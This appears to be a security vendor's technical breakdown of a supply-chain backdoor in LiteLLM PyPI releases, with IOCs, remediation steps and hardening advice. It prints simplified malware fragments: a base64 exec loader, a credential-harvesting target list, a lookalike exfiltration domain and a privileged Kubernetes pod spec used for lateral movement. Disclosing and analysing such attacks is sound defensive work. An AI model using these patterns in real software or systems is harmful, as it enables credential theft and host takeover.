LiteLLM Hit by Credential-Stealing Supply Chain Attack: Complete Technical Breakdown
Case Studies
LiteLLM versions 1.82.7 and 1.82.8 on PyPI contain a credential-stealing backdoor planted by threat actor TeamPCP. If you have either version installed, assume full compromise and rotate all credentials immediately. The last clean version is 1.82.6. The malicious packages have been removed from PyPI but may still be cached in your environment.
What Happened: The Attack at a Glance
On March 24, 2026, two versions of LiteLLM — the wildly popular Python library that routes API calls to OpenAI, Anthropic, Google, and 100+ other large language model providers — were published to PyPI carrying a sophisticated, multi-stage credential-stealing payload. LiteLLM, with more than 40,000 GitHub stars and approximately 97 million monthly downloads, is a foundational dependency across AI agent frameworks, MCP servers, and LLM orchestration tools worldwide.
Neither version 1.82.7 nor 1.82.8 appeared on the official LiteLLM GitHub repository. They were published directly to PyPI using stolen credentials — and they were gone within three hours, after PyPI's security team quarantined them. But for the tens of thousands of developers and CI/CD pipelines that pulled in these versions during that window, the damage was already done.
This attack is attributed to TeamPCP, a threat actor responsible for an escalating campaign targeting the open-source software supply chain in March 2026. The group's calling card — literally — was a defacement commit on BerriAI's (LiteLLM's parent) GitHub repositories reading "teampcp owns BerriAI."
The Full Attack Chain: How Trivy Became the Key to LiteLLM
To understand how LiteLLM was compromised, you have to follow a credential chain that stretches back five days and across three separate attacks:
TeamPCP force-pushed malicious commits over 75 of 76 version tags in aquasecurity/trivy-action, poisoning release v0.69.4 with a credential-harvesting payload. Aqua rotated some credentials, but the rotation was incomplete — leaving a residual access path open.
TeamPCP used the same infrastructure to attack Checkmarx KICS. VS Code extensions were backdoored. The domain checkmarx.zone was activated as C2 infrastructure. A self-spreading npm worm (CanisterWorm) was deployed across the npm ecosystem.
LiteLLM's own CI/CD pipeline used Trivy for vulnerability scanning, pulling it from apt without a pinned version. The compromised Trivy action ran inside the GitHub Actions runner and exfiltrated the PYPI_PUBLISH token from the runner's environment variables.
Using the stolen PyPI token, TeamPCP published versions 1.82.7 and 1.82.8 directly to PyPI. 1.82.8 introduced a novel .pth file mechanism that executes on every Python process startup — no import required.
When community members reported the compromise in GitHub issue #24512, attackers deployed 88 bot comments from 73 unique previously-compromised developer accounts in a 102-second window. Using the compromised maintainer account, they closed the issue as "not planned."
Both compromised versions were removed from PyPI approximately three hours after publication. LiteLLM v1.82.6 is confirmed as the last clean release. PyPI was notified at security@pypi.org and responded rapidly.
Deep Dive: How the Malware Works
The attack used two delivery mechanisms across the two compromised versions, each progressively more aggressive than the last.
Version 1.82.7: Obfuscated Payload in proxy_server.py
In 1.82.7, TeamPCP injected just 12 lines of obfuscated code into litellm/proxy/proxy_server.py. This code executes automatically when the module is imported — which happens any time you use LiteLLM's proxy functionality. The injection was applied during or after the wheel build process, meaning the malicious code was absent from the GitHub repository but present in the distributed package.
# Injected at module import — 12 obfuscated lines # Simplified for educational analysis. DO NOT USE. import os, subprocess, sys, base64 # Double base64-encoded payload, invisible to naive grep _payload = "aW1wb3J0IG9zLCBzdWJwcm9jZXNz..." # truncated # Executed on module import — no user interaction needed subprocess.Popen( [sys.executable, "-c", f"import base64; exec(base64.b64decode('{_payload}'))"], stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL, close_fds=True # detached from parent process )
Version 1.82.8: The .pth File — Every Process, No Import Required
Version 1.82.8 escalated significantly. It introduced a malicious litellm_init.pth file (34,628 bytes) in the wheel's site-packages root. Python's site.py processes .pth files automatically at interpreter startup — before any user code runs, before any import statement. This means the payload executes on every Python process on the machine, regardless of whether LiteLLM is even imported.
# Method 1: Check if you have the malicious package installed pip show litellm # Look for Version: 1.82.7 or 1.82.8 # Method 2: Look for the .pth file in site-packages python -c "import site; print(site.getsitepackages())" # Then check that directory for litellm_init.pth find / -name "litellm_init.pth" 2>/dev/null # Method 3: Download and inspect the wheel without installing pip download litellm==1.82.8 --no-deps -d /tmp/check python3 -c " import zipfile, os whl = '/tmp/check/' + [f for f in os.listdir('/tmp/check') if f.endswith('.whl')][0] with zipfile.ZipFile(whl) as z: pth = [n for n in z.namelist() if n.endswith('.pth')] print('PTH files found:', pth) for p in pth: print(z.read(p)[:300]) " # Method 4: Check for persistence indicators ls -la ~/.config/sysmon/ systemctl --user list-units | grep sysmon kubectl get pods -A | grep node-setup
The .pth launcher spawns a child Python process via subprocess.Popen, which then decodes and executes a double base64-encoded orchestrator. Because .pth files trigger on every interpreter startup, the initial versions created an exponential fork bomb that crashed machines — a side effect the attackers apparently corrected in later revisions.
Stage 1: Credential Harvesting
The orchestrator unpacks a comprehensive credential harvester targeting everything of value on the compromised machine:
# This illustrates what the harvester collects — for defensive understanding targets = { "ssh_keys": ["~/.ssh/id_rsa", "~/.ssh/id_ed25519", "~/.ssh/*"], "aws": ["~/.aws/credentials", "~/.aws/config"], "gcp": ["~/.config/gcloud/application_default_credentials.json"], "azure": ["~/.azure/accessTokens.json", "~/.azure/azureProfile.json"], "k8s": ["~/.kube/config"], "env_files":["env", ".env.local", ".env.production"], "db_configs":["database.yml", "config/database.yml"], "crypto": ["~/.bitcoin/wallet.dat", "~/.ethereum/keystore/*"], "env_vars": dict(os.environ), # All environment variables "cloud_imds":"http://169.254.169.254/", # AWS/GCP/Azure IMDS } # Data encrypted with AES-256-CBC + RSA-4096 session key # Bundled as tpcp.tar.gz, exfiltrated to attacker C2 exfil_endpoint = "https://models.litellm.cloud/" # NOT the real litellm.ai
The harvested data is encrypted using a hybrid scheme: a random AES-256-CBC session key, itself encrypted with a hardcoded 4096-bit RSA public key. The result is bundled into tpcp.tar.gz and exfiltrated to models.litellm.cloud — a lookalike domain crafted to blend into network logs alongside legitimate traffic to litellm.ai.
Stage 2: Kubernetes Lateral Movement
If a Kubernetes service account token is present, the malware pivots aggressively:
# If /var/run/secrets/kubernetes.io/serviceaccount/token exists import kubernetes # Enumerate ALL secrets across ALL namespaces v1 = kubernetes.client.CoreV1Api() secrets = v1.list_secret_for_all_namespaces() # Deploy privileged pod to EVERY node in kube-system privileged_pod = { "apiVersion": "v1", "kind": "Pod", "metadata": {"name": "node-setup-XXXX", "namespace": "kube-system"}, "spec": { "containers": [{ "image": "alpine:latest", "securityContext": {"privileged": True}, # Full host access "volumeMounts": [{ "name": "host", "mountPath": "/host" # Entire host filesystem }] }], "volumes": [{"name": "host", "hostPath": {"path": "/"}}] } }
Stage 3: Persistent Backdoor
The final stage installs a persistent backdoor that polls TeamPCP's C2 infrastructure for additional commands, surviving reboots and package removal:
# Persistence path (local machine) ~/.config/sysmon/sysmon.py # Installed as systemd user service ~/.config/systemd/user/sysmon.service # C2 polling endpoint checkmarx.zone/raw # Reuses KICS attack infrastructure # On Kubernetes: privileged pod on every node in kube-system # Pod name pattern: node-setup-* in kube-system namespace kubectl get pods -n kube-system | grep node-setup
Vulnerability Assessment
| Attribute | Detail |
|---|---|
| Vulnerability ID | SNYK-PYTHON-LITELLM-15762713 |
| CVSSv3 Severity | CRITICAL (10.0) |
| Affected Versions | litellm 1.82.7, 1.82.8 |
| Last Safe Version | 1.82.6 (confirmed clean) |
| Attack Vector | Supply Chain (PyPI package injection) |
| Authentication Required | None — triggers on install |
| User Interaction | None required (1.82.8: triggers on any Python startup) |
| Impact | Full credential compromise, persistence, lateral movement |
| Threat Actor | TeamPCP |
| Transitive Risk | HIGH — many AI frameworks depend on LiteLLM |
Indicators of Compromise (IOCs)
| Type | Indicator | Severity |
|---|---|---|
| File | litellm_init.pth in site-packages | CRITICAL |
| File | ~/.config/sysmon/sysmon.py | CRITICAL |
| Systemd | ~/.config/systemd/user/sysmon.service | CRITICAL |
| Network | models.litellm.cloud (C2 exfil domain) | CRITICAL |
| Network | checkmarx.zone (C2 polling domain) | CRITICAL |
| Archive | tpcp.tar.gz in /tmp | HIGH |
| K8s Pod | node-setup-* in kube-system namespace | CRITICAL |
| PyPI Hash | litellm_init.pth sha256: ceNa7wMJ... | CRITICAL |
Impact Analysis: Why This Attack Is Particularly Devastating
Most supply chain attacks target generic developer machines. This one is different — and worse — for three structural reasons.
1. LiteLLM Is an API Key Gateway by Design. LiteLLM's primary purpose is to manage and route requests to LLM API providers. Organizations often run LiteLLM as a centralized proxy with credentials for OpenAI, Anthropic, Google, Cohere, and dozens of other providers stored in its configuration. A single compromised host exposes every API key across the entire organization's AI infrastructure. The attackers didn't just target a random Python package — they targeted the one package that, by design, has access to everything.
2. Transitive Dependency Exposure. LiteLLM is a transitive dependency for a rapidly growing number of AI frameworks, MCP servers, LLM orchestration tools, and agent runtimes. The developer who first discovered this attack never explicitly installed LiteLLM — it was pulled in silently by a Cursor MCP plugin. This means organizations that thought they had no LiteLLM exposure may be wrong.
# Check all virtual environments on the system find / -name "site-packages" -type d 2>/dev/null | while read dir; do version=$(pip show litellm --path "$dir" 2>/dev/null | grep Version) if [ ! -z "$version" ]; then echo "Found litellm in $dir: $version" fi done # For Python projects, check if litellm is a transitive dep pip show litellm pip show litellm | grep Requires-Dist # Check Docker images (run in your CI/CD) docker run --rm <your-image> pip show litellm # Check conda environments conda list litellm # Scan your requirements.lock for the compromised hash grep -r "litellm" requirements*.txt poetry.lock Pipfile.lock
3. The .pth Mechanism — No Import, No Warning. Traditional package-level malware requires you to actually use the package. The litellm_init.pth mechanism in 1.82.8 bypasses this entirely. Any Python process on the machine — your test runner, your linter, your unrelated scripts — would trigger the payload. This makes it extraordinarily difficult to isolate or contain after installation.
If litellm 1.82.8 was installed in a shared Python environment (a CI runner, a shared venv, a container base image), every Python script that executed in that environment was a delivery vehicle for the credential harvester — including scripts with no relationship to LiteLLM whatsoever.
Immediate Remediation: Step-by-Step
If you confirm you had 1.82.7 or 1.82.8 installed, treat the machine as fully compromised before performing any remediation. Rotate credentials from a clean, separate machine first.
Step 1: Check and Confirm Exposure
# Quick version check pip show litellm # Check for .pth IOC python -c "import site; [print(d) for d in site.getsitepackages()]" # Look in those directories for litellm_init.pth # Check for persistence backdoor ls ~/.config/sysmon/ 2>/dev/null systemctl --user status sysmon 2>/dev/null # Check K8s (if applicable) kubectl get pods -n kube-system -l app=node-setup 2>/dev/null
Step 2: Remove Malicious Artifacts
# Uninstall compromised LiteLLM pip uninstall litellm -y # Remove the .pth backdoor manually (uninstall may miss it) python -c " import site, os for d in site.getsitepackages(): pth = os.path.join(d, 'litellm_init.pth') if os.path.exists(pth): print(f'Removing: {pth}') os.remove(pth) " # Remove persistence mechanisms systemctl --user stop sysmon 2>/dev/null systemctl --user disable sysmon 2>/dev/null rm -rf ~/.config/sysmon/ rm -f ~/.config/systemd/user/sysmon.service systemctl --user daemon-reload # Remove any K8s artifacts kubectl delete pods -n kube-system -l app=node-setup 2>/dev/null # Clean any temp exfil files rm -f /tmp/tpcp.tar.gz /tmp/collected* # Install clean version pip install litellm==1.82.6 # Last confirmed safe version
Step 3: Rotate All Credentials (Do This From a Clean Machine)
- Rotate all SSH keys (generate new keypairs, update authorized_keys everywhere)
- Rotate AWS IAM credentials — access keys, instance profiles, assume-role tokens
- Rotate GCP Application Default Credentials and service account keys
- Rotate Azure access tokens and service principals
- Rotate all Kubernetes service account tokens and RBAC credentials
- Rotate all LLM API keys (OpenAI, Anthropic, Google, Cohere, etc.)
- Rotate all .env file secrets — database passwords, third-party API tokens
- Rotate all CI/CD secrets (GitHub Actions, GitLab CI, Jenkins)
- Rotate PyPI publishing tokens if this machine runs package releases
- Revoke and reissue all cryptocurrency wallet keys if applicable
- Audit cloud provider audit logs for unauthorized access since March 24, 2026
Step 4: Verify Your Network Wasn't Used as C2 Egress
# Check DNS resolution history / firewall logs for C2 domains # Block these at your network perimeter immediately: # models.litellm.cloud # checkmarx.zone # Check system network connections ss -tunp | grep -E "litellm|sysmon|5353" netstat -an | grep "ESTABLISHED" # Review recent outbound connections in cloud provider logs # AWS: CloudTrail, VPC Flow Logs # GCP: Cloud Audit Logs, VPC Flow Logs # Azure: Azure Monitor, NSG Flow Logs
🔮 How Precogs AI Would Have Caught This Before It Hit Production
The LiteLLM attack exploited three specific gaps that Precogs AI's platform is purpose-built to close: unverified transitive dependencies, secrets exposed in CI/CD environments, and the absence of runtime behavioral detection in AI development pipelines.
Long-Term Fixes: Hardening Your Python Supply Chain
The LiteLLM attack is a warning about structural weaknesses in how the AI development ecosystem handles dependencies. Here are the systemic fixes every AI team should implement:
1. Pin to Verified Hashes, Not Just Versions
# Generate a hash-verified requirements file pip-compile --generate-hashes requirements.in -o requirements.txt # Install ONLY verified hashes — prevents tampered packages pip install --require-hashes -r requirements.txt # Example output in requirements.txt: # litellm==1.82.6 \ # --hash=sha256:abc123...exact_hash \ # --hash=sha256:def456...alt_hash # For Poetry users poetry lock # Always commit poetry.lock to source control poetry install --frozen # Refuse to install if lock file doesn't match
2. Compare PyPI Distributions Against Source Code
import zipfile, hashlib, subprocess, sys, os def verify_wheel_against_source(wheel_path: str, package: str, version: str): """ Compare files in a downloaded wheel against the upstream GitHub source. Flag any files present in the wheel but absent from GitHub. """ with zipfile.ZipFile(wheel_path) as whl: wheel_files = set(whl.namelist()) # Clone the repo at the tagged version subprocess.run([ "git", "clone", "--depth=1", "--branch", version, "https://github.com/BerriAI/litellm", "/tmp/litellm_source" ], check=True) source_files = set() for root, dirs, files in os.walk("/tmp/litellm_source"): for f in files: source_files.add(os.path.relpath(os.path.join(root, f), "/tmp/litellm_source")) # Find files in wheel not in source — a major red flag suspicious = wheel_files - source_files - {"RECORD", "WHEEL", "METADATA"} if suspicious: # This would have caught litellm_init.pth immediately print(f"⚠️ FILES IN WHEEL NOT IN SOURCE: {suspicious}") sys.exit(1) print("✓ Wheel contents match source repository") verify_wheel_against_source("litellm-1.82.8-py3-none-any.whl", "litellm", "v1.82.8")
3. Use PyPI Trusted Publishers (OIDC) — Eliminate Static Tokens
# .github/workflows/publish.yml # Trusted Publishers use OIDC — no PYPI_PUBLISH token to steal name: Publish to PyPI on: release: types: [published] jobs: publish: runs-on: ubuntu-latest permissions: id-token: write # Required for Trusted Publishers contents: read steps: - uses: actions/checkout@v4 - name: Build run: pip install build && python -m build - name: Publish uses: pypa/gh-action-pypi-publish@release/v1 # No api-token needed — OIDC handles auth # This would have prevented TeamPCP from using a stolen token
4. Pin Your Security Tooling Too
LiteLLM was compromised because it used an unpinned security scanner (Trivy) in its CI/CD pipeline. Always pin version and SHA for security tools used in CI/CD — including Trivy actions, KICS, Snyk, and any other scanners. The tools protecting your supply chain must themselves be supply-chain-hardened.
# ❌ WRONG — floating tag, vulnerable to tag hijacking (how LiteLLM was hit) - uses: aquasecurity/trivy-action@latest # ✅ CORRECT — pin to immutable commit SHA - uses: aquasecurity/trivy-action@a20de5420d57c4102486cdd9349b532bf5b16c5d with: scan-type: "fs" scan-ref: "." # Also pin apt/brew installed tools via explicit version + checksum - name: Install Trivy (pinned) run: | TRIVY_VERSION="0.68.0" # Last known safe TRIVY_SHA="abc123..." curl -LO "https://github.com/aquasecurity/trivy/releases/download/v${TRIVY_VERSION}/trivy_${TRIVY_VERSION}_Linux-64bit.tar.gz" echo "${TRIVY_SHA} trivy_${TRIVY_VERSION}_Linux-64bit.tar.gz" | sha256sum -c
TeamPCP: Understanding the Threat Actor
TeamPCP's March 2026 campaign is among the most sophisticated and deliberately escalating supply chain attacks on record. Their stated strategy — as posted on Telegram — is to target the tools organizations trust implicitly, because those tools have the broadest access to credentials and infrastructure.
Their progression in March 2026 is deliberate: first security tools (Trivy, Checkmarx), whose compromise provides access to the CI/CD pipelines of software that depends on them. Then AI infrastructure (LiteLLM), whose compromise provides access to every LLM API credential in organizations running AI-native workflows. The group has publicly threatened further attacks, naming additional "favourite security tools and open-source projects" as future targets.
TeamPCP has explicitly stated this campaign is ongoing and expanding through partnerships with other threat actors. Organizations in AI/ML, fintech, healthcare, and cloud-native infrastructure should treat their security tooling and AI dependencies as active attack surfaces through at least Q2 2026.
Frequently Asked Questions
pip show litellm in every environment — virtual environments, Docker containers, CI runners, and developer machines. Also search for litellm_init.pth in your Python site-packages directories. If LiteLLM is a transitive dependency, it may appear even if you never explicitly installed it.Supply chain attacks like this one succeed because the gap between "package published" and "threat detected" is measured in hours — and most teams don't know they're exposed until after the damage is done. Closing that gap requires continuously comparing what's distributed with what was actually built upstream, and understanding what your CI/CD environment is leaking along the way. That's the problem we've been focusing on at Precogs AI.
